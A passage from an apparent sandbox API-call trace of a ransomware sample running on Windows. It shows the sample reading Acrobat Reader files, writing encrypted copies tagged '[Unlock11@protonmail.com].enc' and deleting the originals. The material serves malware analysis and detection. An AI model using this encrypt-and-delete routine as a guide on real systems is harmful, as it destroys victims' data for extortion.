dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-tw")) returned 0x10 [0179.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bbd10 | out: hHeap=0x2ad0000) returned 1 [0179.536] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js", lpFilePart=0x9bada4*="ui-strings.js") returned 0x7e [0179.536] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262db0, Size=0x50) returned 0x34a28d8 [0179.536] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451)) returned 1 [0179.537] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0179.537] GetFileType (hFile=0x334) returned 0x1 [0179.538] GetFileType (hFile=0x334) returned 0x1 [0179.538] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0179.538] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0179.538] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0179.538] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0179.538] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0179.538] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0179.538] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0179.538] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0179.539] GetFileType (hFile=0x39c) returned 0x1 [0179.539] GetFileType (hFile=0x39c) returned 0x1 [0179.540] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0179.540] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0179.540] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0179.540] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0179.540] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0179.540] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0179.540] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0179.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37c2770, Size=0x466) returned 0x37c2770 [0179.542] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37c2770, Size=0x475) returned 0x37c2770 [0179.543] CloseHandle (hObject=0x39c) returned 1 [0179.543] CloseHandle (hObject=0x334) returned 1 [0179.543] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ui-strings.js")) returned 1 [0179.545] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ar-ae\\*.*", lpFindFileData=0x9ba930 | out: lpFindFileData=0x9ba930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9ba6ec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7710 [0179.560] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262d40, Size=0x50) returned 0x34a21f8 [0179.562] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37c2770, Size=0x482) returned 0x37c2770 [0179.562] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37c2770, Size=0x485) returned 0x37c2770 [0193.610] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.611] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.612] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.613] GetLastError () returned 0x0 [0193.614] GetCurrentThreadId () returned 0x9b0 [0193.614] GetLastError () returned 0x0 [0193.614] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.614] GetLastError () returned 0x0 [0193.614] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.615] GetLastError () returned 0x0 [0193.615] GetCurrentThreadId () returned 0x9b0 [0193.615] GetLastError () returned 0x0 [0193.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.615] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265488 | out: hHeap=0x2ad0000) returned 1 [0193.615] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.615] GetCurrentThreadId () returned 0x9b0 [0193.616] GetLastError () returned 0x0 [0193.616] GetLastError () returned 0x0 [0193.616] GetLastError () returned 0x0 [0193.616] GetLastError () returned 0x0 [0193.616] GetCurrentThreadId () returned 0x9b0 [0193.616] GetLastError () returned 0x0 [0193.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.617] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0193.617] GetLastError () returned 0x0 [0193.617] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.617] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.619] GetLastError () returned 0x0 [0193.619] GetCurrentThreadId () returned 0x9b0 [0193.619] GetLastError () returned 0x0 [0193.619] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.619] GetLastError () returned 0x0 [0193.619] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.619] GetLastError () returned 0x0 [0193.620] GetCurrentThreadId () returned 0x9b0 [0193.620] GetLastError () returned 0x0 [0193.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.620] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265598 | out: hHeap=0x2ad0000) returned 1 [0193.620] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.620] GetCurrentThreadId () returned 0x9b0 [0193.620] GetLastError () returned 0x0 [0193.621] GetLastError () returned 0x0 [0193.621] GetLastError () returned 0x0 [0193.621] GetLastError () returned 0x0 [0193.621] GetCurrentThreadId () returned 0x9b0 [0193.621] GetLastError () returned 0x0 [0193.621] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.622] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0193.622] GetLastError () returned 0x0 [0193.622] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.622] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.623] GetLastError () returned 0x0 [0193.624] GetCurrentThreadId () returned 0x9b0 [0193.624] GetLastError () returned 0x0 [0193.624] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.624] GetLastError () returned 0x0 [0193.624] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.630] GetLastError () returned 0x0 [0193.630] GetCurrentThreadId () returned 0x9b0 [0193.631] GetLastError () returned 0x0 [0193.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.632] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265568 | out: hHeap=0x2ad0000) returned 1 [0193.633] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.633] GetLastError () returned 0x0 [0193.634] GetLastError () returned 0x0 [0193.634] GetLastError () returned 0x0 [0193.634] GetLastError () returned 0x0 [0193.634] GetCurrentThreadId () returned 0x9b0 [0193.634] GetLastError () returned 0x0 [0193.634] GetCurrentThreadId () returned 0x9b0 [0193.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.635] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.635] GetLastError () returned 0x0 [0193.635] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.636] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.637] GetLastError () returned 0x0 [0193.637] GetCurrentThreadId () returned 0x9b0 [0193.637] GetLastError () returned 0x0 [0193.638] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.638] GetLastError () returned 0x0 [0193.638] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.651] GetLastError () returned 0x0 [0193.651] GetCurrentThreadId () returned 0x9b0 [0193.651] GetLastError () returned 0x0 [0193.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265518 | out: hHeap=0x2ad0000) returned 1 [0193.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.652] GetLastError () returned 0x0 [0193.652] GetLastError () returned 0x0 [0193.652] GetLastError () returned 0x0 [0193.653] GetLastError () returned 0x0 [0193.653] GetCurrentThreadId () returned 0x9b0 [0193.653] GetLastError () returned 0x0 [0193.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.653] GetCurrentThreadId () returned 0x9b0 [0193.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.653] GetLastError () returned 0x0 [0193.654] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.654] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.655] GetLastError () returned 0x0 [0193.655] GetCurrentThreadId () returned 0x9b0 [0193.655] GetLastError () returned 0x0 [0193.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.656] GetLastError () returned 0x0 [0193.656] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.656] GetLastError () returned 0x0 [0193.656] GetCurrentThreadId () returned 0x9b0 [0193.656] GetLastError () returned 0x0 [0193.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0193.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.657] GetLastError () returned 0x0 [0193.657] GetLastError () returned 0x0 [0193.657] GetLastError () returned 0x0 [0193.657] GetLastError () returned 0x0 [0193.658] GetCurrentThreadId () returned 0x9b0 [0193.658] GetLastError () returned 0x0 [0193.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0193.658] GetLastError () returned 0x0 [0193.658] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.659] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.660] GetLastError () returned 0x0 [0193.660] GetCurrentThreadId () returned 0x9b0 [0193.660] GetLastError () returned 0x0 [0193.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.660] GetLastError () returned 0x0 [0193.661] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.892] GetLastError () returned 0x0 [0193.892] GetCurrentThreadId () returned 0x9b0 [0193.892] GetLastError () returned 0x0 [0193.892] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.893] GetCurrentThreadId () returned 0x9b0 [0193.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265478 | out: hHeap=0x2ad0000) returned 1 [0193.893] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.893] GetLastError () returned 0x0 [0193.893] GetLastError () returned 0x0 [0193.894] GetLastError () returned 0x0 [0193.894] GetLastError () returned 0x0 [0193.894] GetCurrentThreadId () returned 0x9b0 [0193.894] GetLastError () returned 0x0 [0193.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0193.895] GetLastError () returned 0x0 [0193.895] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.895] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.897] GetLastError () returned 0x0 [0193.897] GetCurrentThreadId () returned 0x9b0 [0193.897] GetLastError () returned 0x0 [0193.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.897] GetLastError () returned 0x0 [0193.897] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.898] GetLastError () returned 0x0 [0193.898] GetCurrentThreadId () returned 0x9b0 [0193.898] GetLastError () returned 0x0 [0193.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.899] GetCurrentThreadId () returned 0x9b0 [0193.899] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265568 | out: hHeap=0x2ad0000) returned 1 [0193.899] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.900] GetLastError () returned 0x0 [0193.900] GetLastError () returned 0x0 [0193.900] GetLastError () returned 0x0 [0193.900] GetLastError () returned 0x0 [0193.900] GetCurrentThreadId () returned 0x9b0 [0193.900] GetLastError () returned 0x0 [0193.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.901] GetLastError () returned 0x0 [0193.901] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.902] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.903] GetLastError () returned 0x0 [0193.903] GetCurrentThreadId () returned 0x9b0 [0193.903] GetLastError () returned 0x0 [0193.904] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.904] GetLastError () returned 0x0 [0193.904] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.906] GetLastError () returned 0x0 [0193.906] GetCurrentThreadId () returned 0x9b0 [0193.906] GetLastError () returned 0x0 [0193.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265548 | out: hHeap=0x2ad0000) returned 1 [0193.906] GetCurrentThreadId () returned 0x9b0 [0193.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3911588 [0193.907] GetLastError () returned 0x0 [0193.907] GetLastError () returned 0x0 [0193.907] GetLastError () returned 0x0 [0193.907] GetLastError () returned 0x0 [0193.907] GetCurrentThreadId () returned 0x9b0 [0193.907] GetLastError () returned 0x0 [0193.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3911588 | out: hHeap=0x2ad0000) returned 1 [0193.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0193.908] GetLastError () returned 0x0 [0193.908] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.909] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.910] GetLastError () returned 0x0 [0193.910] GetCurrentThreadId () returned 0x9b0 [0193.910] GetLastError () returned 0x0 [0193.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.910] GetLastError () returned 0x0 [0193.910] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.911] GetLastError () returned 0x0 [0193.912] GetCurrentThreadId () returned 0x9b0 [0193.912] GetLastError () returned 0x0 [0193.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0193.912] GetCurrentThreadId () returned 0x9b0 [0193.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x3901568 [0193.913] GetLastError () returned 0x0 [0193.913] GetLastError () returned 0x0 [0193.913] GetLastError () returned 0x0 [0193.913] GetLastError () returned 0x0 [0193.913] GetCurrentThreadId () returned 0x9b0 [0193.913] GetLastError () returned 0x0 [0193.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3901568 | out: hHeap=0x2ad0000) returned 1 [0193.914] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0193.914] GetLastError () returned 0x0 [0193.914] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0193.914] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0193.916] GetLastError () returned 0x0 [0193.916] GetCurrentThreadId () returned 0x9b0 [0193.916] GetLastError () returned 0x0 [0193.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38bf550 | out: hHeap=0x2ad0000) returned 1 [0193.916] GetLastError () returned 0x0 [0193.916] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0193.917] 